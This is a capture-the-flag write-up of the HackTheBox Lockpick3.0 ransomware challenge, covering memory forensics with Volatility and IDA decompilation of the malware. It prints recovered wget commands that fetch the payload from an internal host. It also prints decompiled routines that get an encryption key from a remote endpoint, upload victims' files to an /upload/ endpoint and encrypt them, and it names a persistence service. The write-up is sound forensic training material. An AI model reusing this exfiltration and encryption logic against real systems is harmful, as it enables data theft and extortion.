---
# System prepended metadata

title: Lockpick3.0 - HackTheBox
tags: [Write_up]

---

## Description 
The threat actors of the Lockpick variant of Ransomware seem to have increased their skillset. Thankfully on this occasion they only hit a development, non production server. We require your assistance performing some reverse engineering of the payload in addition to some analysis of some relevant artifacts. Interestingly we can't find evidence of remote access so there is likely an insider threat.... Good luck! Please note on the day of release this is being utilised for a workshop, however will still be available (and free).
## Solution 
#####  The challenge gives me three types of files: two memdump files from the attacked machine and one malicious ELF file.
![image](https://hackmd.io/_uploads/HyuN7vjJge.png)
##### First, I will analyze the memory dump file with Volatility 2. However, I don't have an available profile on the Internet.
#####  Let's build it. I will proceed to determine information about the operating system and kernel using the Banners plugin of Volatility 3.
```
┌──(kali㉿kali)-[~/Personal/CTF/volatility3]
└─$ python3 vol.py -f /home/kali/Downloads/HTB/lockpick3/ubuntu-client-Snapshot2.vmem banners.Banners
Volatility 3 Framework 2.26.1
Progress:  100.00               PDB scanning finished                      
Offset  Banner

0x32857fa8      Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x600001a0      Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
0x61b9de54      Linux version 5.4.0-163-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.2)) #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 (Ubuntu 5.4.0-163.180-generic 5.4.246)
```
##### It is easy to see that this file was dumped from the Ubuntu 20.04 OS and is using the kernel 5.4.0-163.
##### You can use two ways to build the profile: It uses Docker or you can build a virtual machine directly. (I choose option 2.)
##### For the OS, I downloaded the ISO file from[here](https://releases.ubuntu.com/focal/)
##### With kernel i downloads 3 file 
![image](https://hackmd.io/_uploads/H1doHvsyle.png)
| File Name | Purpose |
|:----------|:--------|
| `linux-headers-5.4.0-163_5.4.0-163.180_all.deb` | Provides kernel header files needed to compile external kernel modules (e.g., device drivers). Essential for development and building modules against this specific kernel version. |
| `linux-image-5.4.0-163-generic_5.4.0-163.180_amd64.deb` | Contains the actual Linux kernel binary (`vmlinuz`) that the system will boot into. It includes the core operating system components for the 5.4.0-163 kernel version. |
| `linux-modules-5.4.0-163-generic_5.4.0-163.180_amd64.deb` | Provides loadable kernel modules (`.ko` files) such as device drivers and additional kernel features that are not built directly into the main kernel image. |
##### Next, create a file named module.dwarf from the `~/volatility/tools/linux` directory.
```
test@test-VirtualBox:~/volatility/tools/linux$ make
make -C //lib/modules/5.4.0-163-generic/build CONFIG_DEBUG_INFO=y M="/home/test/volatility/tools/linux" modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-163-generic'
  CC [M]  /home/test/volatility/tools/linux/module.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC [M]  /home/test/volatility/tools/linux/module.mod.o
  LD [M]  /home/test/volatility/tools/linux/module.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-163-generic'
dwarfdump -di module.ko > module.dwarf 
make -C //lib/modules/5.4.0-163-generic/build M="/home/test/volatility/tools/linux" clean
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-163-generic'
  CLEAN   /home/test/volatility/tools/linux/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-163-generic'
```
#####  Okay, now compress the file module.dwarf that was newly created and the System files from the /boot directory.
![image](https://hackmd.io/_uploads/HJh7wPs1xl.png)
##### Finally, copy it to the `volatility/volatility/plugins/overlays/linux/` directory.
![image](https://hackmd.io/_uploads/S134wPi1gx.png)
#####  I used the linux_bash plugin to see the bash commands the attacker used.
```
Volatility Foundation Volatility Framework 2.6.1
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
     636 bash                 2024-06-03 10:49:04 UTC+0000   passwd
     636 bash                 2024-06-03 10:49:04 UTC+0000   apt update
     636 bash                 2024-06-03 10:49:04 UTC+0000   shutdown now
     636 bash                 2024-06-03 10:49:04 UTC+0000   apt upgrade
     636 bash                 2024-06-03 10:49:04 UTC+0000   apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
     636 bash                 2024-06-03 10:49:09 UTC+0000   passwd
     636 bash                 2024-06-03 10:49:32 UTC+0000    ??V
     636 bash                 2024-06-03 10:49:32 UTC+0000   nano /etc/ssh/sshd_config
     636 bash                 2024-06-03 10:50:23 UTC+0000   systemctl start ssh
     636 bash                 2024-06-03 10:50:30 UTC+0000   ip a
     636 bash                 2024-06-03 10:51:41 UTC+0000   nano /etc/ssh/sshd_config
     636 bash                 2024-06-03 10:53:22 UTC+0000   systemctl restart shh
     636 bash                 2024-06-03 10:53:29 UTC+0000   sudo
     636 bash                 2024-06-03 10:53:29 UTC+0000   systemctl restart ssh
     636 bash                 2024-06-03 11:21:30 UTC+0000   ls
     636 bash                 2024-06-03 15:31:03 UTC+0000   sudo apt-get install apache2
     636 bash                 2024-06-03 15:31:22 UTC+0000   sudo apt-get update
     636 bash                 2024-06-03 15:31:25 UTC+0000   sudo apt-get update
     636 bash                 2024-06-03 15:31:25 UTC+0000   sudo apt-get install apache2 --fix-missing
     636 bash                 2024-06-03 15:31:36 UTC+0000   sudo apt-get install apache2 --fix-missing
     636 bash                 2024-06-03 15:32:05 UTC+0000   nano note.txt
     636 bash                 2024-06-03 15:32:27 UTC+0000   ls
     636 bash                 2024-06-03 15:32:44 UTC+0000   ./ubuntu-client xGonnaGiveIt2Ya
     636 bash                 2024-06-03 15:33:27 UTC+0000   sudo apt-get install libssl3-dev
     636 bash                 2024-06-03 15:34:45 UTC+0000   sudo apt-get update
     636 bash                 2024-06-03 15:35:54 UTC+0000   sudo apt-get install libssl-dev
     636 bash                 2024-06-03 15:36:00 UTC+0000   ./ubuntu-client xGonnaGiveIt2Ya
     636 bash                 2024-06-03 15:36:22 UTC+0000   sudo apt-get upgrade -y
     636 bash                 2024-06-03 15:40:24 UTC+0000   ./ubuntu-client xGonnaGiveIt2Ya
     636 bash                 2024-06-03 15:50:54 UTC+0000   ls
     636 bash                 2024-06-03 15:50:57 UTC+0000   rm ubuntu-client 
     636 bash                 2024-06-03 15:51:02 UTC+0000   ??~V
     636 bash                 2024-06-03 15:51:02 UTC+0000    
     636 bash                 2024-06-03 15:51:02 UTC+0000   ip a
   22683 bash                 2024-06-03 15:51:25 UTC+0000   passwd
   22683 bash                 2024-06-03 15:51:25 UTC+0000   apt update
   22683 bash                 2024-06-03 15:51:25 UTC+0000   ./ubuntu-client 
   22683 bash                 2024-06-03 15:51:25 UTC+0000   apt install cloud-init cloud-initramfs-growroot openssh-server open-vm-tools
   22683 bash                 2024-06-03 15:51:25 UTC+0000   apt upgrade
   22683 bash                 2024-06-03 15:51:25 UTC+0000   ls
   22683 bash                 2024-06-03 15:51:25 UTC+0000   mdkir /share
   22683 bash                 2024-06-03 15:51:25 UTC+0000   mkdir /share
   22683 bash                 2024-06-03 15:51:25 UTC+0000   wget http://10.10.0.70:8123/ubuntu-client
   22683 bash                 2024-06-03 15:51:25 UTC+0000   wget http://10.10.0.70:8000/ubuntu-client
   22683 bash                 2024-06-03 15:51:25 UTC+0000   shutdown now
   22683 bash                 2024-06-03 15:51:25 UTC+0000   chmod +x ubuntu-client 
   22683 bash                 2024-06-03 15:51:25 UTC+0000   ls
   22683 bash                 2024-06-03 15:51:26 UTC+0000   ls
   22683 bash                 2024-06-03 15:51:38 UTC+0000   ./ubuntu-client xGonnaGiveIt2Ya
   22683 bash                 2024-06-03 15:54:24 UTC+0000   sudo apt-get install libcjson-dev
   22683 bash                 2024-06-03 15:54:31 UTC+0000   ./ubuntu-client xGonnaGiveIt2Ya
```
![image](https://hackmd.io/_uploads/rkbK_voJxx.png)
#####  We saw that the hacker connected via SSH, after downloading the ubuntu-client file onto the machine.
##### The hacker ran it with the argument `xGonnaGiveIt2Ya` and removed it.
##### This shows that the file ubuntu-client is highly likely to be malicious.
### Task 1 : Please confirm the file hash of the malware? (MD5)
```
┌──(kali㉿kali)-[~/Downloads/HTB/lockpick3]
└─$ md5sum ubuntu-client
a2444b61b65be96fc2e65924dee8febd  ubuntu-client
```
> a2444b61b65be96fc2e65924dee8febd

### Task 2 : Please confirm the XOR string utilised by the attacker for obfuscation?
##### Open the file `ubuntu-client` in IDA to analyze. However, when I debug, it says that the `libcrypto.so.1.1` library is missing.
```
┌──(kali㉿kali)-[~/Downloads/HTB/lockpick3]
└─$ ida64 ubuntu-client                                                     
qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 458, resource id: 26117247, major code: 40 (TranslateCoords), minor code: 0
qt.qpa.xcb: QXcbConnection: XCB error: 3 (BadWindow), sequence: 1015, resource id: 26120040, major code: 40 (TranslateCoords), minor code: 0
/home/kali/Downloads/HTB/lockpick3/ubuntu-client: error while loading shared libraries: libcrypto.so.1.1: cannot open shared object file: No such file or directory
Oops, IDA has almost crashed! (signum=11)
zsh: segmentation fault  ida64 ubuntu-client
```
##### I downloaded the lib, and it is [here](https://packages.debian.org/bullseye/amd64/libssl1.1/download)
![image](https://hackmd.io/_uploads/S1_B9Diylg.png)
#####  It is the main function.
```C
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  unsigned int v4; // eax
  unsigned int v5; // eax
  unsigned int v6; // eax
  unsigned int v7; // eax
  unsigned int v8; // eax
  unsigned int v9; // eax
  unsigned int v11; // [rsp+14h] [rbp-31Ch]
  char *s; // [rsp+18h] [rbp-318h]
  _BYTE v13[256]; // [rsp+20h] [rbp-310h] BYREF
  _BYTE v14[256]; // [rsp+120h] [rbp-210h] BYREF
  _BYTE v15[264]; // [rsp+220h] [rbp-110h] BYREF
  unsigned __int64 v16; // [rsp+328h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  s = a2[1];
  v3 = strlen(s);
  sub_29CA(&unk_6020, 46LL, s, v3);
  v4 = strlen(s);
  sub_29CA(&unk_6054, 7LL, s, v4);
  v5 = strlen(s);
  sub_29CA(&unk_604E, 6LL, s, v5);
  v6 = strlen(s);
  sub_29CA(&unk_6060, 19LL, s, v6);
  v7 = strlen(s);
  sub_29CA(&unk_6080, 42LL, s, v7);
  v8 = strlen(s);
  sub_29CA(&unk_60C0, 172LL, s, v8);
  v9 = strlen(s);
  sub_29CA(&unk_6180, 108LL, s, v9);
  v11 = -1;
  if ( !(unsigned int)sub_2A34(v13, v14, v15, 256LL) )
  {
    sub_2EEB(v13, v14, v15);
    v11 = 0;
  }
  sub_380B(*a2);
  return v11;
}
```
##### After getting the argument and saving it in the s variable, it uses the sub_29CA function and different memory areas.
```
__int64 __fastcall sub_29CA(__int64 a1, signed int a2, __int64 a3, int a4)
{
  __int64 result; // rax
  signed int i; // [rsp+24h] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i >= a2 )
      break;
    *(_BYTE *)(i + a1) ^= *(_BYTE *)(i % a4 + a3);
  }
  return result;
}
```
##### This function will encode or alter the data at memory a1 using a sequence of bytes from memory a3, with each byte being XORed with another byte in the sequence based on the index i % a4. (I will rename function to xor)
> xGonnaGiveIt2Ya
### Task 3 : What is the API endpoint utilised to retrieve the key?
##### After completing the xor functions, it will use "if" and check the `sub_2A34` function.
```
if ( !(unsigned int)sub_2A34(v13, v14, v15, 256LL) )
```
<details>
<summary>
    Sub_2A34 function

</summary>

    
```C
__int64 __fastcall sub_2A34(char *a1, char *a2, char *a3)
{
  __int64 ObjectItem; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  unsigned int v8; // [rsp+2Ch] [rbp-134h]
  __int64 v9; // [rsp+48h] [rbp-118h]
  __int64 v10; // [rsp+50h] [rbp-110h]
  __int64 v11; // [rsp+58h] [rbp-108h]
  void *ptr[2]; // [rsp+60h] [rbp-100h] BYREF
  char s[48]; // [rsp+70h] [rbp-F0h] BYREF
  char v14[64]; // [rsp+A0h] [rbp-C0h] BYREF
  _BYTE v15[120]; // [rsp+E0h] [rbp-80h] BYREF
  unsigned __int64 v16; // [rsp+158h] [rbp-8h]

  v16 = __readfsqword(0x28u);
  v8 = -1;
  ptr[0] = malloc(1uLL);
  ptr[1] = 0LL;
  v10 = curl_easy_init(1LL);
  sub_2D7D(v15);
  v11 = curl_slist_append(0LL, "Content-Type: application/json");
  snprintf(s, 0x2EuLL, "%s", byte_6020);
  snprintf(v14, 0x37uLL, "%s%s", s, "/connect");
  if ( v10 )
  {
    curl_easy_setopt(v10, 10002LL, v14);
    curl_easy_setopt(v10, 10015LL, v15);
    curl_easy_setopt(v10, 20011LL, sub_2E1D);
    curl_easy_setopt(v10, 10001LL, ptr);
    curl_easy_setopt(v10, 10023LL, v11);
    if ( !(unsigned int)curl_easy_perform(v10) )
    {
      v9 = cJSON_Parse(ptr[0]);
      ObjectItem = cJSON_GetObjectItem(v9, "key");
      snprintf(a1, 0x100uLL, "%s", *(const char **)(ObjectItem + 32));
      v4 = cJSON_GetObjectItem(v9, "iv");
      snprintf(a2, 0x100uLL, "%s", *(const char **)(v4 + 32));
      v5 = cJSON_GetObjectItem(v9, "client_id");
      snprintf(a3, 0x100uLL, "%s", *(const char **)(v5 + 32));
      if ( a1 )
      {
        if ( a2 )
          v8 = 0;
      }
    }
  }
  free(ptr[0]);
  curl_easy_cleanup(v10);
  curl_slist_free_all(v11);
  cJSON_Delete(v9);
  return v8;
}
```

</details>

```
snprintf(s, 0x2EuLL, "%s", byte_6020);
```
-> Copy the xored data from the byte_6020 array into s.
```
snprintf(v14, 0x37uLL, "%s%s", s, "/connect");
```
-> Merge the string s with the string "/connect".

![image](https://hackmd.io/_uploads/H1gqiqskgx.png)

-> If CURL initialization is successful, continue.
```C 
v9 = cJSON_Parse(ptr);
```
-> Parse JSON data from HTTP response
```C
ObjectItem = cJSON_GetObjectItem(v9, "key");
snprintf(a1, 0x100uLL, "%s", *(const char **)(ObjectItem + 32));

v4 = cJSON_GetObjectItem(v9, "iv");
snprintf(a2, 0x100uLL, "%s", *(const char **)(v4 + 32));

v5 = cJSON_GetObjectItem(v9, "client_id");
snprintf(a3, 0x100uLL, "%s", *(const char **)(v5 + 32));
```
-> Get the "key" field from the JSON and copy it to a1 and get the "iv" field from JSON and copy it to a2.
-> Get the "client_id" field from JSON and copy it to a3.
##### Because the key is taken from v14, I will debug the v14 variable.
#####The file is run with a parameter, so we choose `debugger -> process option` before debugging
![image](https://hackmd.io/_uploads/ryFZCcokel.png)
##### Set a breakpoint below `snprintf(v14, 0x37uLL, "%s%s", s, "/connect");`
![image](https://hackmd.io/_uploads/Bytt09jklg.png)
![image](https://hackmd.io/_uploads/HJlMxojJex.png)

> https://plankton-app-3qigq.ondigitalocean.app/connect

### Task 4: What is the API endpoint utilised for upload of files?
![image](https://hackmd.io/_uploads/rkkrWjiJlg.png)
##### If the condition is true, the function sub_2EEB will be called.
<details>
    <summary>
        sub_2EEB
    </summary>

```C
unsigned __int64 __fastcall sub_2EEB(__int64 a1, __int64 a2, __int64 a3)
{
  DIR *dirp; // [rsp+20h] [rbp-10C0h]
  struct dirent *v6; // [rsp+28h] [rbp-10B8h]
  stat stat_buf; // [rsp+30h] [rbp-10B0h] BYREF
  char s[8]; // [rsp+C8h] [rbp-1018h] BYREF
  char filename[16]; // [rsp+D0h] [rbp-1010h] BYREF
  unsigned __int64 v10; // [rsp+10D8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  snprintf(s, 7uLL, "%s", aW4);
  dirp = opendir(s);
  if ( dirp )
  {
    while ( 1 )
    {
      v6 = readdir(dirp);
      if ( !v6 )
        break;
      snprintf(filename, 0x1000uLL, "%s/%s", aW4, v6->d_name);
      if ( !(unsigned int)sub_3B80(filename, &stat_buf) )
      {
        if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
        {
          if ( strcmp(v6->d_name, ".") && strcmp(v6->d_name, "..") )
            sub_2EEB(a1, a2, a3);
        }
        else if ( !(unsigned int)sub_30D5(v6->d_name) && !(unsigned int)sub_31EB(filename, a3) )
        {
          sub_355A(filename, a1, a2);
        }
      }
    }
  }
  return __readfsqword(0x28u) ^ v10;
}
```

</details>

```
snprintf(s, 7uLL, "%s", aW4);
```
-> S gets the value of aW4 ("/sh").
```C
    while ( 1 )
    {
      v6 = readdir(dirp);
      if ( !v6 )
        break;
      snprintf(filename, 0x1000uLL, "%s/%s", aW4, v6->d_name);
      if ( !(unsigned int)sub_3B80(filename, &stat_buf) )
      {
        if ( (stat_buf.st_mode & 0xF000) == 0x4000 )
        {
          if ( strcmp(v6->d_name, ".") && strcmp(v6->d_name, "..") )
            sub_2EEB(a1, a2, a3);
        }
        else if ( !(unsigned int)sub_30D5(v6->d_name) && !(unsigned int)sub_31EB(filename, a3) )
        {
          sub_355A(filename, a1, a2);
        }
      }
    }
```
->  This code browses individual folders and files. If a valid file (valid for the sub_30D5 and sub_31EB functions) is found, it executes sub_355A(filename, a1, a2); (if it is a folder, it will be recursive).
##### The function sub_30D5 checks if the file extension is in the allowed list.
##### The sub_31EB function reads a file and uploads it to a server via the HTTP protocol.
```C=
__int64 __fastcall sub_31EB(char *a1, const char *a2)
{
  unsigned int v3; // eax
  __int64 v4; // rdi
  unsigned int v5; // [rsp+1Ch] [rbp-1184h]
  __int64 v6; // [rsp+40h] [rbp-1160h]
  char *v7; // [rsp+48h] [rbp-1158h]
  FILE *stream; // [rsp+50h] [rbp-1150h]
  __int64 v9; // [rsp+58h] [rbp-1148h]
  struct stat stat_buf; // [rsp+70h] [rbp-1130h] BYREF
  char v11[48]; // [rsp+100h] [rbp-10A0h] BYREF
  char v12[80]; // [rsp+130h] [rbp-1070h] BYREF
  char s[32]; // [rsp+180h] [rbp-1020h] BYREF
  unsigned __int64 v14; // [rsp+1198h] [rbp-8h]

  v14 = __readfsqword(0x28u);
  malloc(1uLL);
  v7 = __xpg_basename(a1);
  snprintf(s, 0x100FuLL, "X-Filename: %s", v7);
  stream = fopen(a1, "rb");
  if ( !stream )
    return 0xFFFFFFFFLL;
  v3 = fileno(stream);
  v4 = v3;
  if ( (unsigned int)sub_3BA0(v3, &stat_buf) )
  {
    fclose(stream);
    return 0xFFFFFFFFLL;
  }
  else
  {
    v9 = curl_easy_init(v4);
    v6 = curl_slist_append(0LL, s);
    snprintf(v11, 0x2EuLL, "%s", byte_6020);
    if ( v9 )
    {
      snprintf(v12, 0x4BuLL, "%s%s%s", v11, "/upload/", a2);
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      curl_easy_setopt();
      v5 = curl_easy_perform(v9);
    }
    curl_easy_cleanup(v9);
    curl_slist_free_all(v6);
    fclose(stream);
    return v5;
  }
}
```
#####  The upload URL is formed by merging the string byte_6020 and "/upload/".
> https://plankton-app-3qigq.ondigitalocean.app/upload
##### Continue, malware encrypt file with sub_355A function
![image](https://hackmd.io/_uploads/SJ3oLjskeg.png)
![image](https://hackmd.io/_uploads/r1wlDijyel.png)
### Task 5 : What is the name of the service created by the malware?
![image](https://hackmd.io/_uploads/BkJgS3oyel.png)
> ubuntu_running.service
### Task 6 : What is the technique ID utilised by the attacker for persistence?
![image](https://hackmd.io/_uploads/HkFv-3syxl.png)
> T1543.002
